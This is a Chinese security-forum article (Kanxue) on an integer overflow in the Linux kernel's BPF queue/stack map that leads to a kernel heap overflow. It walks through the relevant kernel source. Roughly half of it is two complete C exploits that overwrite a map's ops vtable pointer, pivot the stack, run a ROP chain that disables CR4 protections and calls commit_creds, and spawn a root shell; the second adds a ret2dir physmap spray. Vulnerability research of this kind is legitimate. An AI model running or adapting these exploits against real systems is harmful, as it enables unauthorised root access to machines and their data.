本文为看雪论坛精华文章
看雪论坛作者ID:ScUpax0s
Linux内核[BPF模块整数溢出] 漏洞分析
内核BPF模块
1. Linux Socket Filtering aka Berkeley Packet Filter (BPF)
2. Seccomp BPF (SECure COMPuting with filters)
3. LINUX系统安全_SANDBOX_SECCOMP-BPF
漏洞原理与触发
#include <linux/bpf.h>int bpf(int cmd, union bpf_attr *attr, unsigned int size);
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size){union bpf_attr attr = {};int err;if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))return -EPERM;err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);if (err)return err;size = min_t(u32, size, sizeof(attr));/* copy attributes from user space, may be less than sizeof(bpf_attr) */if (copy_from_user(&attr, uattr, size) != 0)return -EFAULT;err = security_bpf(cmd, &attr, size);if (err < 0)return err;switch (cmd) {case BPF_MAP_CREATE:err = map_create(&attr);break;case BPF_MAP_LOOKUP_ELEM:err = map_lookup_elem(&attr);break;case BPF_MAP_UPDATE_ELEM:err = map_update_elem(&attr);break;case BPF_MAP_DELETE_ELEM:err = map_delete_elem(&attr);break;case BPF_MAP_GET_NEXT_KEY:err = map_get_next_key(&attr);break;case BPF_PROG_LOAD:err = bpf_prog_load(&attr);break;case BPF_OBJ_PIN:err = bpf_obj_pin(&attr);break;case BPF_OBJ_GET:err = bpf_obj_get(&attr);break;case BPF_PROG_ATTACH:err = bpf_prog_attach(&attr);break;case BPF_PROG_DETACH:err = bpf_prog_detach(&attr);break;case BPF_PROG_QUERY:err = bpf_prog_query(&attr, uattr);break;case BPF_PROG_TEST_RUN:err = bpf_prog_test_run(&attr, uattr);break;case BPF_PROG_GET_NEXT_ID:err = bpf_obj_get_next_id(&attr, uattr,&prog_idr, &prog_idr_lock);break;case BPF_MAP_GET_NEXT_ID:err = bpf_obj_get_next_id(&attr, uattr,&map_idr, &map_idr_lock);break;case BPF_PROG_GET_FD_BY_ID:err = bpf_prog_get_fd_by_id(&attr);break;case BPF_MAP_GET_FD_BY_ID:err = bpf_map_get_fd_by_id(&attr);break;case BPF_OBJ_GET_INFO_BY_FD:err = bpf_obj_get_info_by_fd(&attr, uattr);break;case BPF_RAW_TRACEPOINT_OPEN:err = bpf_raw_tracepoint_open(&attr);break;case BPF_BTF_LOAD:err = bpf_btf_load(&attr);break;case BPF_BTF_GET_FD_BY_ID:err = bpf_btf_get_fd_by_id(&attr);break;case BPF_TASK_FD_QUERY:err = bpf_task_fd_query(&attr, uattr);break;case BPF_MAP_LOOKUP_AND_DELETE_ELEM:err = map_lookup_and_delete_elem(&attr);break;default:err = -EINVAL;break;}return err;}
union bpf_attr attr = {};......case BPF_MAP_CREATE:err = map_create(&attr);break;
接下来看一下 map_create(&attr) 的源码。
static int map_create(union bpf_attr *attr){int numa_node = bpf_map_attr_numa_node(attr);struct bpf_map *map;int f_flags;int err;err = CHECK_ATTR(BPF_MAP_CREATE);if (err)return -EINVAL;f_flags = bpf_get_file_flag(attr->map_flags);if (f_flags < 0)return f_flags;....../* find map type and init map: hashtable vs rbtree vs bloom vs ... */map = find_and_alloc_map(attr);if (IS_ERR(map))return PTR_ERR(map);......}
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr){const struct bpf_map_ops *ops;u32 type = attr->map_type;struct bpf_map *map;int err;if (type >= ARRAY_SIZE(bpf_map_types))return ERR_PTR(-EINVAL);type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));ops = bpf_map_types[type];if (!ops)return ERR_PTR(-EINVAL);if (ops->map_alloc_check) {err = ops->map_alloc_check(attr);if (err)return ERR_PTR(err);}if (attr->map_ifindex)ops = &bpf_map_offload_ops;map = ops->map_alloc(attr);if (IS_ERR(map))return map;map->ops = ops;map->map_type = type;return map;}
__u32 map_type; /* one of enum bpf_map_type */static const struct bpf_map_ops * const bpf_map_types[] = {# BPF_PROG_TYPE(_id, _ops)# BPF_MAP_TYPE(_id, _ops) \[_id] = &_ops,## BPF_PROG_TYPE# BPF_MAP_TYPE};
ARRAY_SIZE是获取数组中的元素个数。__must_be_array(arr) 要求其必须被用在数组上。
这个宏在驱动编程时常常用来获取设备结构体中设备的个数:
/*** ARRAY_SIZE - get the number of elements in array @arr* @arr: array to be sized*/#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
所以此函数在开始阶段判断了type的合法性。若不合法return err。
接下来有一个对于虚表中函数的调用:ops->map_alloc(attr)
if (attr->map_ifindex)ops = &bpf_map_offload_ops;map = ops->map_alloc(attr);if (IS_ERR(map))return map;map->ops = ops;map->map_type = type;return map;
注意,此时的map_alloc是一个虚表(bpf_map_ops)中的函数。
数组中的每一项都由宏 BPF_MAP_TYPE 封装起来,对应id与ops:
# BPF_MAP_TYPE(_id, _ops)此时我们关注最下面的:
BPF_MAP_TYPE(BPF_MAP_TYPE_QUEUE, queue_map_ops) //BPF_MAP_TYPE_QUEUE为 22 (0x16)queue_map_ops为:
onst struct bpf_map_ops queue_map_ops = {.map_alloc_check = queue_stack_map_alloc_check,.map_alloc = queue_stack_map_alloc, //关键函数.map_free = queue_stack_map_free,.map_lookup_elem = queue_stack_map_lookup_elem,.map_update_elem = queue_stack_map_update_elem,.map_delete_elem = queue_stack_map_delete_elem,.map_push_elem = queue_stack_map_push_elem,.map_pop_elem = queue_map_pop_elem,.map_peek_elem = queue_map_peek_elem,.map_get_next_key = queue_stack_map_get_next_key,};
当我们将 attr->map_type 初始化为22时,对应着BPF_MAP_TYPE_QUEUE,此时会使用虚表 queue_map_ops。
此时是:
/* Called from syscall */static int queue_stack_map_alloc_check(union bpf_attr *attr){/* check sanity of attributes */if (attr->max_entries == 0 || attr->key_size != 0 ||attr->map_flags & ~QUEUE_STACK_CREATE_FLAG_MASK)return -EINVAL;if (attr->value_size > KMALLOC_MAX_SIZE) /* if value_size is bigger, the user space won't be able to* access the elements.*/return -E2BIG;return 0; //要到达这里}
union bpf_attr *attr;attr->map_type = BPF_MAP_TYPE_QUEUE; //BPF_MAP_TYPE_QUEUEattr->max_entries = -1;attr->map_flags = 0;attr->value_size = 0x20;int ret = syscall(__NR_bpf,0,attr,0x30);
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr){int ret, numa_node = bpf_map_attr_numa_node(attr);struct bpf_queue_stack *qs;u32 size, value_size;u64 queue_size, cost;size = attr->max_entries + 1;value_size = attr->value_size;queue_size = sizeof(*qs) + (u64) value_size * size;cost = queue_size;if (cost >= U32_MAX - PAGE_SIZE)return ERR_PTR(-E2BIG);cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;ret = bpf_map_precharge_memlock(cost);if (ret < 0)return ERR_PTR(ret);qs = bpf_map_area_alloc(queue_size, numa_node);if (!qs)return ERR_PTR(-ENOMEM);memset(qs, 0, sizeof(*qs));bpf_map_init_from_attr(&qs->map, attr);qs->map.pages = cost;qs->size = size;raw_spin_lock_init(&qs->lock);return &qs->map;}
我们关注到这样一行:
u32 size;size = attr->max_entries + 1;
size 本身作为一个unsigned int 32的类型,如果我们令 attr->max_entries = -1 ,那么size就会产生一个整数溢出。
更进一步的,他控制了 bpf_map_area_alloc 分配的大小:
......struct bpf_queue_stack *qs;u32 size, value_size;u64 queue_size, cost;size = attr->max_entries + 1;value_size = attr->value_size;queue_size = sizeof(*qs) + (u64) value_size * size;......qs = bpf_map_area_alloc(queue_size, numa_node);......bpf_map_init_from_attr(&qs->map, attr);......qs->size = size;return &qs->map;
void *bpf_map_area_alloc(size_t size, int numa_node){......area = kmalloc_node(size, GFP_USER | flags, numa_node);if (area != NULL)return area;......}
以size为参数,通过kmalloc_node 分配内核空间为area。
bpf_queue_stack结构体定义如下:
struct bpf_queue_stack {struct bpf_map map;raw_spinlock_t lock;u32 head, tail;u32 size; /* max_entries + 1 */char elements[0] __aligned(8);};
void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr){map->map_type = attr->map_type;map->key_size = attr->key_size;map->value_size = attr->value_size;map->max_entries = attr->max_entries;map->map_flags = attr->map_flags;map->numa_node = bpf_map_attr_numa_node(attr);}
/* find map type and init map: hashtable vs rbtree vs bloom vs ... */map = find_and_alloc_map(attr);if (IS_ERR(map))return PTR_ERR(map);
根据名字进行合理猜测,在 BPF_MAP_CREATE 分支中我们创建了map对象。
而在BPF_MAP_UPDATE_ELEM 分支中我们对此对象进行更新等操作。
这个函数被我简化后如下:
static int map_update_elem(union bpf_attr *attr){void __user *ukey = u64_to_user_ptr(attr->key);void __user *uvalue = u64_to_user_ptr(attr->value);int ufd = attr->map_fd;struct bpf_map *map;void *key, *value;u32 value_size;struct fd f;int err;......f = fdget(ufd);map = __bpf_map_get(f);if (IS_ERR(map))return PTR_ERR(map);......value_size = map->value_size;value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); //kmalloc申请一块堆空间if (!value)goto free_key;err = -EFAULT;if (copy_from_user(value, uvalue, value_size) != 0) //将用户的uvalue拷贝value_size字节到申请出的value上。goto free_value;......else if (map->map_type == BPF_MAP_TYPE_QUEUE ||map->map_type == BPF_MAP_TYPE_STACK) {err = map->ops->map_push_elem(map, value, attr->flags);//将value的内容放入map......}
/* Called from syscall or from eBPF program */static int queue_stack_map_push_elem(struct bpf_map *map, void *value,u64 flags){struct bpf_queue_stack *qs = bpf_queue_stack(map);unsigned long irq_flags;int err = 0;void *dst;/* BPF_EXIST is used to force making room for a new element in case the* map is full*/bool replace = (flags & BPF_EXIST);/* Check supported flags for queue and stack maps */if (flags & BPF_NOEXIST || flags > BPF_EXIST)return -EINVAL;raw_spin_lock_irqsave(&qs->lock, irq_flags);if (queue_stack_map_is_full(qs)) {if (!replace) {err = -E2BIG;goto out;}/* advance tail pointer to overwrite oldest element */if (unlikely(++qs->tail >= qs->size))qs->tail = 0;}dst = &qs->elements[qs->head * qs->map.value_size]; //qs->head代表当前是第几个entrymemcpy(dst, value, qs->map.value_size); //堆溢出位置。if (unlikely(++qs->head >= qs->size))qs->head = 0;out:raw_spin_unlock_irqrestore(&qs->lock, irq_flags);return err;}
struct bpf_queue_stack {struct bpf_map map;raw_spinlock_t lock;u32 head, tail;u32 size; /* max_entries + 1 */char elements[0] __aligned(8);};struct bpf_map {/* The first two cachelines with read-mostly members of which some* are also accessed in fast-path (e.g. ops, max_entries).*/const struct bpf_map_ops *ops ____cacheline_aligned;struct bpf_map *inner_map_meta;# CONFIG_SECURITYvoid *security;#enum bpf_map_type map_type;u32 key_size;u32 value_size;u32 max_entries;u32 map_flags;u32 pages;u32 id;int numa_node;u32 btf_key_type_id;u32 btf_value_type_id;struct btf *btf;bool unpriv_array;/* 55 bytes hole *//* The 3rd and 4th cacheline with misc members to avoid false sharing* particularly with refcounting.*/struct user_struct *user ____cacheline_aligned;atomic_t refcnt;atomic_t usercnt;struct work_struct work;char name[BPF_OBJ_NAME_LEN];};
dst = &qs->elements[qs->head * qs->map.value_size]; //qs->head代表当前是第几个entry,索引到目标entrymemcpy(dst, value, qs->map.value_size); //拷贝数据到entry,堆溢出位置。if (unlikely(++qs->head >= qs->size))qs->head = 0;
漏洞利用
struct bpf_map {/* The first two cachelines with read-mostly members of which some* are also accessed in fast-path (e.g. ops, max_entries).*/const struct bpf_map_ops *ops ____cacheline_aligned;......
可以看到其第一个成员就是虚表指针 ops ,换句话说,在我们kamlloc出的slab中的第一个位置就是指向当前map虚表的指针,如果我们能通过上方的slab堆溢出,劫持下方slab的虚表指针,再fake相应的vtable,就可以实现一套内核的执行流劫持。
exp编写
#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/syscall.h>#include <sys/types.h>#include <unistd.h>#include <stdio.h>#include <sys/types.h>#include <string.h>#include <sys/stat.h>#include <sys/mman.h>#include <unistd.h>#include <fcntl.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/mman.h>#include <linux/bpf.h>#include <stdint.h>#ifndef BPF_MAP_TYPE_QUEUE#define BPF_MAP_TYPE_QUEUE 22#endif#ifndef BPF_MAP_TYPE_STACK#define BPF_MAP_TYPE_STACK 23#endif#define N 14//#define DEBUG#define EVIL_CR4 0x6f0#define COMMIT_CREDS 0xffffffff810bd9c0#define PREPARE_KERNEL_CRED 0xffffffff810bdc70#define NATIVE_WRITE_CR4 0xffffffff81072820#define POP_RAX_RET 0xffffffff81039ee1#define POP_RDI_RET 0xffffffff810890a0#define SWAPGS 0xffffffff810728c4#define IRETQ#define SYSRET 0xffffffff81c00163#define IRETQ 0xFFFFFFFF8103713B#define XCHG_EAX_ESP 0xffffffff810534d0#define EVIL_RSP 0x810534d0typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;uint64_t value[7];union bpf_attr *attr;union bpf_attr *attr2;unsigned int spray_map_fd[15];__attribute__((constructor)) static void Init ( void ){attr = malloc(0x100);attr2 = malloc(0x100);}size_t user_cs, user_ss, user_rflags, user_sp; //保存用户态寄存器状态void save_status(){__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");}void kernel_heap_spray(){int i=0;for(i;i<N;i++){spray_map_fd[i] = syscall(__NR_bpf,BPF_MAP_CREATE,attr,0x30);}return;}void ret2usr(){commit_creds(prepare_kernel_cred(0));}void shell(){printf("[*] welcome to root :-)\n");system("/bin/sh");}uint64_t rop[12] = {POP_RDI_RET, //0EVIL_CR4, //1NATIVE_WRITE_CR4, //2(size_t)ret2usr, //3SWAPGS, //40, //5IRETQ, //6(size_t)shell, //7// user_cs, //8// user_rflags, //9// user_sp, //10// user_ss //11};void *fake_ops;void *evil_rsp;void set_up_rop(){if((fake_ops = mmap((void *)0xa000000000,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){perror("fake_ops mmap failed!");exit(0);}//memcpy(fake_ops,flag,0x8);*(unsigned long*)(fake_ops) = 0;*(unsigned long*)(fake_ops+0x10)= XCHG_EAX_ESP; //栈迁移gadgets,迁移之后rsp = 0x810534d0if((evil_rsp = mmap((void *)(EVIL_RSP-0x4d0),0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){perror("evil_rsp mmap failed!");exit(0);}//kernel heap overflow padding.value[0] = 0;value[1] = 0;value[2] = 0;value[3] = 0;value[4] = 0;value[5] = 0;value[6] = fake_ops;memcpy((void *)(evil_rsp+0x4d0),rop,sizeof(rop));}int main(){save_status();rop[8] = user_cs;rop[9] = user_rflags;rop[10] = user_sp;rop[11] = user_ss;unsigned int ret = 0;void *p;attr->map_type = 0x16; //BPF_MAP_TYPE_QUEUE 0x16attr->max_entries = -1;attr->map_flags = 0;attr->value_size = 0x40;//attr->key = 0;ret = syscall(__NR_bpf,BPF_MAP_CREATE,attr,0x30);if(ret == -1){perror("bpf failed");exit(0);} //0x40eda5printf("map fd:%d\n",ret);kernel_heap_spray();set_up_rop();#ifdef DEBUGfor(int i=0;i<N;i++){printf("map fd:%d\n",spray_map_fd[i]);}#endif/*堆溢出覆盖ops虚表指针*/attr2->map_fd = ret;attr2->value = value;attr2->value_size = 0x40;attr2->key = 0;attr2->flags = 2;syscall(__NR_bpf,BPF_MAP_UPDATE_ELEM,attr2,0x30);for(int i=0;i<N;i++){close(spray_map_fd[i]);}printf("close over!\n");getchar(); //防止我们的内存被回收掉。return 0;}
效果:
#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/syscall.h>#include <sys/types.h>#include <unistd.h>#include <stdio.h>#include <sys/types.h>#include <string.h>#include <sys/stat.h>#include <sys/mman.h>#include <unistd.h>#include <fcntl.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/mman.h>#include <linux/bpf.h>#include <stdint.h>#ifndef BPF_MAP_TYPE_QUEUE#define BPF_MAP_TYPE_QUEUE 22#endif#ifndef BPF_MAP_TYPE_STACK#define BPF_MAP_TYPE_STACK 23#endif#define N 14#define DEBUG#define EVIL_CR4 0x6f0#define COMMIT_CREDS 0xffffffff810bd9c0#define PREPARE_KERNEL_CRED 0xffffffff810bdc70#define NATIVE_WRITE_CR4 0xffffffff81072820#define POP_RAX_RET 0xffffffff81039ee1#define POP_RDI_RET 0xffffffff810890a0#define SWAPGS 0xffffffff810728c4#define IRETQ#define SYSRET 0xffffffff81c00163#define IRETQ 0xFFFFFFFF8103713B#define XCHG_EAX_ESP 0xffffffff810534d0#define EVIL_PHY_MAP 0xffff888003015000#define spray_times 32*32#define SIZE 1024*64 //64k#define SIZE 1024*64 //64k#define spray_times 32*32#define EVIL_RSP 0x810534d0typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;uint64_t value[7];union bpf_attr *attr;union bpf_attr *attr2;unsigned int spray_map_fd[15];uint64_t xchg_eax_esp_addr = 0xffffffff810534d0;__attribute__((constructor)) static void Init ( void ){attr = malloc(0x100);attr2 = malloc(0x100);}size_t user_cs, user_ss, user_rflags, user_sp; //保存用户态寄存器状态void save_status(){__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");}void kernel_heap_spray(){int i=0;for(i;i<N;i++){spray_map_fd[i] = syscall(__NR_bpf,BPF_MAP_CREATE,attr,0x30);}return;}void ret2usr(){commit_creds(prepare_kernel_cred(0));}void shell(){printf("[*] welcome to root :-)\n");system("/bin/sh");}uint64_t rop[12] = {POP_RDI_RET, //0EVIL_CR4, //1NATIVE_WRITE_CR4, //2(size_t)ret2usr, //3SWAPGS, //40, //5IRETQ, //6(size_t)shell, //7// user_cs, //8// user_rflags, //9// user_sp, //10// user_ss //11};void *evil_rsp;void set_up_rop(){if((evil_rsp = mmap((void *)(EVIL_RSP-0x4d0),0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){perror("evil_rsp mmap failed!");exit(0);}//kernel heap overflow padding.value[0] = 0;value[1] = 0;value[2] = 0;value[3] = 0;value[4] = 0;value[5] = 0;value[6] = EVIL_PHY_MAP;memcpy((void *)(evil_rsp+0x4d0),rop,sizeof(rop));}void *spray[spray_times];size_t slab_addr = 0xffff8880056eec00 & 0xffffffffff000000;void ret2dir(){// & 0xffffffffff000000printf("slab addr:%p\n",slab_addr);void *mp;int i=0;for(i=0;i<spray_times;i++){ //64k * 1024 = 64Mif((mp = mmap(NULL,SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){perror("mmap failed!");exit(0);}// if(i!=0x5 && i!=4 && i!=6)// {// //memset(mp,0x0+i,SIZE); // filled with index// for(int j=0;j<0x100;j++)// {// memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);// }// }else if(i==0x5 || i==0x4 || i==0x6)// {// for(int j=0;j<0x100;j++)// {// memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);// }// }for(int j=0;j<0x100;j++){memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);}spray[i] = mp; // record mmap addr}printf("[+] spray size: 0x%x\n",spray_times*SIZE);}int main(){ret2dir();//x /20gx 0xffff888003000000//x /20gx 0xffff888004000000//0xffff888003010000: 0x0404040404040404 0x0404040404040404save_status();rop[8] = user_cs;rop[9] = user_rflags;rop[10] = user_sp;rop[11] = user_ss;unsigned int ret = 0;void *p;attr->map_type = 0x16; //BPF_MAP_TYPE_QUEUE 0x16attr->max_entries = -1;attr->map_flags = 0;attr->value_size = 0x40;//attr->key = 0;ret = syscall(__NR_bpf,BPF_MAP_CREATE,attr,0x30);if(ret == -1){perror("bpf failed");exit(0);} //0x40eda5printf("map fd:%d\n",ret);kernel_heap_spray();set_up_rop();#ifdef DEBUGfor(int i=0;i<N;i++){printf("map fd:%d\n",spray_map_fd[i]);}#endif/*堆溢出覆盖ops虚表指针*/attr2->map_fd = ret;attr2->value = value;attr2->value_size = 0x40;attr2->key = 0;attr2->flags = 2;syscall(__NR_bpf,BPF_MAP_UPDATE_ELEM,attr2,0x30);for(int i=0;i<N;i++){close(spray_map_fd[i]);}printf("close over!\n");getchar(); //防止我们的内存被回收掉。return 0;}
说一下思想,首先我借由https://bbs.pediy.com/thread-263992.htm的思路大致定位到了phymaps的位置。调整qemu内存为120M,增大几率。
void *spray[spray_times];size_t slab_addr = 0xffff8880056eec00 & 0xffffffffff000000;void ret2dir(){// & 0xffffffffff000000printf("slab addr:%p\n",slab_addr);void *mp;int i=0;for(i=0;i<spray_times;i++){ //64k * 1024 = 64Mif((mp = mmap(NULL,SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){perror("mmap failed!");exit(0);}// if(i!=0x5 && i!=4 && i!=6)// {// //memset(mp,0x0+i,SIZE); // filled with index// for(int j=0;j<0x100;j++)// {// memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);// }// }else if(i==0x5 || i==0x4 || i==0x6)// {// for(int j=0;j<0x100;j++)// {// memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);// }// }for(int j=0;j<0x100;j++){memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);}spray[i] = mp; // record mmap addr}printf("[+] spray size: 0x%x\n",spray_times*SIZE);}
看雪ID:ScUpax0s
https://bbs.pediy.com/user-home-876323.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!